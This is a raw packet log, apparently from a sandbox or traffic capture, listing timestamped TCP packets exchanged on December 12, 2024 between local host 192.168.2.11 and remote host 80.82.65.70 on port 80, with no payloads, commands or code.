                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.812812090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.813400984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.813534975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.813538074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.813786983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.814249992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.814304113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.814368010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.815001965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.815109015 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.815171003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.815752029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.815913916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.815923929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.816464901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.816514015 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.816606045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.816627979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.816744089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.817351103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.817473888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.817532063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.818203926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.818223953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.818280935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.818883896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.818942070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.819004059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.819221973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.819710016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.819730043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.819794893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.820441961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.820513010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.820580006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.820641041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.821227074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.821295977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.821371078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.821548939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.822010040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.822072983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.822128057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.822834969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.822922945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.823151112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.823234081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.823571920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.823632956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.823683023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.823786974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.887824059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.887897968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888107061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888166904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888241053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888278008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888398886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888417006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.888461113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.889131069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.889266014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.889273882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.889380932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.889980078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.890088081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.890099049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.890141964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.890749931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.890892982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.890955925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.891047001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.891510963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.891669035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.891674042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.891724110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.892265081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.892321110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.892402887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.892452955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.893023014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.893215895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.893264055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.893992901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.894082069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.894141912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.894707918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.894748926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.894751072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.895421028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.895483971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.895514011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.896193981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.896291971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.896348000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.896953106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.897073030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.897104025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.897738934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.897809982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.897814989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.898164034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.898586988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.898689032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.898792982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.899333954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.899492025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.899919987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.900098085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.900162935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.900204897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.900291920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.900866985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.900994062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.901005983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.901082993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.901685953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.901829958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.901885986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.902504921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.902561903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.902625084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.902693033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.903275013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.903335094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.903348923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.903397083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.903999090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.904130936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.904194117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.904827118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.904974937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.904977083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.905066967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.905661106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.905739069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.905765057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.905802011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.906378984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.906440020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.906483889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.906584024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.907280922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.907300949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.907362938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.907929897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.908000946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.908066988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.908154011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.908723116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.908792019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.909006119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.909121037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.909508944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.909595013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.909648895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.909729958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.910258055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.910342932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.910358906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.910375118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.965173006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.965295076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.965369940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.965543985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.965610981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.965651035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.966352940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.966403008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.966578007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.967109919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.967164040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.001153946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.001199007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.001272917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.001724005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.001743078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.001796961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.002315998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.002434969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.002454042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.002547026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.003192902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.003360987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.003387928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.003442049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.003969908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.004036903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.004106998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.004196882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.004801035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.004842043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.004909039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.005525112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.005546093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.005605936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.006133080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.006215096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.006232023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.006282091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.007215977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.007283926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.007376909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.007452011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.007932901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.008003950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.008136988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.008203030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.008668900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.008789062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.009401083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.009433985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.009521008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.009583950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010185957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010281086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010332108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010366917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010745049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010786057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.010838032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.011554956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.011683941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.012315989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.012368917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.012415886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.013089895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.013129950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.013186932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.013885021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.013991117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.014046907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.014626980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.014751911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.014802933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.015464067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.015541077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.015588045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.016000032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.016182899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.016259909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.080547094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.080710888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.080960989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.080962896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.081120014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.081234932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.081279993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.081321955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.082036972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.082175016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.082248926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.082770109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.082809925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.082880020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.083379030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.083420038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.083487034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.084206104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.084279060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.084280968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.085022926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.085042953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.085108042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.085731030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.085810900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.085865974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.086503029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.086623907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.087132931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.087301970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.087430000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088118076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088166952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088195086 CET4981980192.168.2.1180.82.65.70
